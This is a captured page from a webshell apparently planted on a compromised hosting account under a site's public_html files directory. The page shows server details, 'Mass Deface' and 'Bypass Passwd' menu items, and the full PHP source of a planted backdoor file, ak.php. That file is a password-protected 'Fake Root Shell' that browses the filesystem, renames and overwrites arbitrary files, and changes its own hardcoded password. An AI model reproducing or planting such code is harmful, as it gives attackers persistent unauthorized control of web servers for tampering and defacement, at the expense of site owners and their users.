Cylul007 Webshell
Server :
Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
php :
8.0.30
on
cgi-fcgi
Time
25 Nov 2024 22:47:05
Current Directory :
/
home
/
amvm
/
public_html
/
bakarwal
/
bakarwal
/
files
/
Senior Secondary
/
Upload File :
Mass Deface
Home
Bypass Passwd
Current File : /home/amvm/public_html/bakarwal/bakarwal/files/Senior Secondary/ak.php
<?php session_start(); // Fungsi untuk membaca file PHP ini function getScriptContent() { return file_get_contents(__FILE__); } // Fungsi untuk menyimpan konten baru ke file PHP ini function saveScriptContent($content) { file_put_contents(__FILE__, $content); } // Password yang benar (ubah sesuai keinginan Anda) $correct_password = "password123"; // Fungsi untuk mengecek apakah user sudah login function isLoggedIn() { return isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true; } // Fungsi untuk menangani login function handleLogin($password) { global $correct_password; if ($password === $correct_password) { $_SESSION['loggedin'] = true; return true; } return false; } // Fungsi untuk mengganti password function changePassword($new_password) { global $correct_password; $script_content = getScriptContent(); $new_script_content = preg_replace( '/(\$correct_password\s*=\s*\")[^\"]+(\")/', '$1' . addslashes($new_password) . '$2', $script_content ); saveScriptContent($new_script_content); $_SESSION['correct_password'] = $new_password; $correct_password = $new_password; } // Menangani form login if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password']) && !isLoggedIn()) { if (handleLogin($_POST['password'])) { header('Location: ' . $_SERVER['PHP_SELF']); exit(); } else { $login_error = "Password salah!"; } } // Menangani form penggantian password if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_password']) && isLoggedIn()) { $new_password = $_POST['new_password']; changePassword($new_password); $password_change_success = "Password berhasil diganti!"; } // Menampilkan form login jika user belum login if (!isLoggedIn()) { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Login</title> <style> body { font-family: Arial, sans-serif; } .login-container { max-width: 300px; margin: 0 auto; padding: 20px; border: 1px solid #ccc; border-radius: 5px; background: #f9f9f9; } .login-container h2 { text-align: center; } .login-container input[type="password"], .login-container input[type="submit"] { width: 100%; padding: 10px; margin: 10px 0; } .error { color: red; text-align: center; } </style> </head> <body> <div class="login-container"> <h2>Login</h2> <?php if (isset($login_error)): ?> <p class="error"><?php echo htmlspecialchars($login_error); ?></p> <?php endif; ?> <form method="post" action=""> <input type="password" name="password" placeholder="Enter Password" required> <input type="submit" value="Login"> </form> </div> </body> </html> <?php exit(); } // Menampilkan form untuk mengganti password jika parameter URL 'change_password' ada if (isset($_GET['change_password']) && isLoggedIn()) { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Change Password</title> <style> body { font-family: Arial, sans-serif; } .password-change-container { max-width: 300px; margin: 20px auto; padding: 20px; border: 1px solid #ccc; border-radius: 5px; background: #f9f9f9; } .password-change-container h2 { text-align: center; } .password-change-container input[type="password"], .password-change-container input[type="submit"] { width: 100%; padding: 10px; margin: 10px 0; } .success, .error { text-align: center; } .success { color: green; } .error { color: red; } </style> </head> <body> <div class="password-change-container"> <h2>Change Password</h2> <?php if (isset($password_change_success)): ?> <p class="success"><?php echo htmlspecialchars($password_change_success); ?></p> <?php elseif (isset($password_change_error)): ?> <p class="error"><?php echo htmlspecialchars($password_change_error); ?></p> <?php endif; ?> <form method="post" action=""> <input type="password" name="new_password" placeholder="Enter New Password" required> <input type="submit" value="Change Password"> </form> </div> </body> </html> <?php exit(); } // Fungsi untuk menampilkan form untuk mengubah nama file atau direktori function displayRenameForm($old_name, $is_directory) { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Rename <?php echo $is_directory ? 'Directory' : 'File'; ?></title> <style> body { font-family: Arial, sans-serif; } .rename-container { max-width: 300px; margin: 20px auto; padding: 20px; border: 1px solid #ccc; border-radius: 5px; background: #f9f9f9; } .rename-container h2 { text-align: center; } .rename-container input[type="text"], .rename-container input[type="submit"] { width: 100%; padding: 10px; margin: 10px 0; } </style> </head> <body> <div class="rename-container"> <h2>Rename <?php echo $is_directory ? 'Directory' : 'File'; ?></h2> <form method="post" action=""> <input type="text" name="new_name" placeholder="Enter New Name" required> <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($old_name); ?>"> <input type="submit" value="Rename"> </form> </div> </body> </html> <?php exit(); } // Menampilkan form untuk mengedit isi file function displayEditFileForm($file_to_edit) { $file_content = file_get_contents($file_to_edit); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Edit File: <?php echo htmlspecialchars(basename($file_to_edit)); ?></title> <style> body { font-family: Arial, sans-serif; } .file-edit-container { max-width: 600px; margin: 20px auto; padding: 20px; border: 1px solid #ccc; border-radius: 5px; background: #f9f9f9; } .file-edit-container h2 { text-align: center; } .file-edit-container textarea { width: 100%; height: 400px; padding: 10px; margin: 10px 0; font-family: monospace; border: 1px solid #ccc; border-radius: 5px; } .file-edit-container input[type="submit"] { display: block; width: 100%; padding: 10px; margin-top: 10px; } </style> </head> <body> <div class="file-edit-container"> <h2>Edit File: <?php echo htmlspecialchars(basename($file_to_edit)); ?></h2> <form method="post" action=""> <textarea name="file_content"><?php echo htmlspecialchars($file_content); ?></textarea> <input type="hidden" name="file_to_edit" value="<?php echo htmlspecialchars($file_to_edit); ?>"> <input type="submit" value="Save Changes"> </form> </div> </body> </html> <?php exit(); } // Menampilkan pesan sukses atau error setelah mengubah nama function displayRenameResult($rename_success, $rename_error) { if (isset($rename_success)) { echo "<p class='success'>" . htmlspecialchars($rename_success) . "</p>"; } elseif (isset($rename_error)) { echo "<p class='error'>" . htmlspecialchars($rename_error) . "</p>"; } } // Menampilkan pesan sukses atau error setelah mengedit file function displayEditFileResult($file_edit_success, $file_edit_error) { if (isset($file_edit_success)) { echo "<p class='success'>" . htmlspecialchars($file_edit_success) . "</p>"; } elseif (isset($file_edit_error)) { echo "<p class='error'>" . htmlspecialchars($file_edit_error) . "</p>"; } } // Menangani penggantian nama file atau direktori setelah form di-submit if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name']) && isset($_POST['old_name']) && isLoggedIn()) { $old_name = $_POST['old_name']; $new_name = $_POST['new_name']; if (rename($old_name, dirname($old_name) . '/' . $new_name)) { $rename_success = "Berhasil mengubah nama."; } else { $rename_error = "Gagal mengubah nama."; } } // Menangani pengeditan file setelah form di-submit if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file_content']) && isset($_POST['file_to_edit']) && isLoggedIn()) { $file_to_edit = $_POST['file_to_edit']; $new_content = $_POST['file_content']; if (file_put_contents($file_to_edit, $new_content) !== false) { $file_edit_success = "Berhasil menyimpan perubahan."; } else { $file_edit_error = "Gagal menyimpan perubahan."; } } // Mengatur direktori kerja saat ini berdasarkan parameter 'path' atau tetap di direktori kerja saat ini $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); // Menghindari path traversal attack $path = realpath($path); if ($path === false) { $path = getcwd(); } // Mengatur direktori kerja saat ini chdir($path); // Mengubah backslashes menjadi forward slashes $path = str_replace('\\', '/', $path); $paths = explode('/', $path); echo "<a class='text-decoration-none text-light anu' href='" . $_SERVER['PHP_SELF'] . "'><h1>./Fake Root Shell</h1></a> "; echo "<a class='text-decoration-none text-light' href='" . $_SERVER['PHP_SELF'] . "?change_password=true'><h1>Change Password</h1></a>"; foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { echo "<i class='bi bi-hdd-rack'></i>:<a class='text-decoration-none text-light' href='?path=/'>/</a>"; continue; } if ($pat == '') continue; echo "<a class='text-decoration-none text-light' href='?path="; for ($i = 0; $i <= $id; $i++) { echo htmlspecialchars($paths[$i]); if ($i != $id) echo "/"; } echo "'>" . htmlspecialchars($pat) . "</a>/"; } // Mendapatkan daftar file dan direktori $scand = scandir($path); echo "<ul>"; foreach ($scand as $file) { if ($file === '.' || $file === '..') continue; $filePath = $path . DIRECTORY_SEPARATOR . $file; if (is_dir($filePath)) { echo "<li><a class='text-decoration-none text-light' href='?path=" . urlencode($filePath) . "'>" . htmlspecialchars($file) . "/</a> "; echo "<a class='text-decoration-none text-light' href='" . $_SERVER['PHP_SELF'] . "?path=" . urlencode(dirname($filePath)) . "&rename=" . urlencode($file) . "'>Rename</a></li>"; } else { echo "<li>" . htmlspecialchars($file) . " "; echo "<a class='text-decoration-none text-light' href='" . $_SERVER['PHP_SELF'] . "?file_edit=" . urlencode($filePath) . "'>Edit</a> "; echo "<a class='text-decoration-none text-light' href='" . $_SERVER['PHP_SELF'] . "?path=" . urlencode(dirname($filePath)) . "&rename=" . urlencode($file) . "'>Rename</a></li>"; } } echo "</ul>"; // Menampilkan form untuk mengubah nama file atau direktori jika parameter 'rename' ada if (isset($_GET['rename']) && isLoggedIn()) { $old_name = $_GET['rename']; displayRenameForm($old_name, is_dir($old_name)); } // Menampilkan form untuk mengedit isi file jika parameter 'file_edit' ada if (isset($_GET['file_edit']) && isLoggedIn()) { $file_to_edit = $_GET['file_edit']; displayEditFileForm($file_to_edit); } // Menampilkan pesan sukses atau error setelah mengubah nama displayRenameResult($rename_success, $rename_error); // Menampilkan pesan sukses atau error setelah mengedit file displayEditFileResult($file_edit_success, $file_edit_error); ?>
./LuLlaby007 ♥ Tata Cantik - Copyright 2k18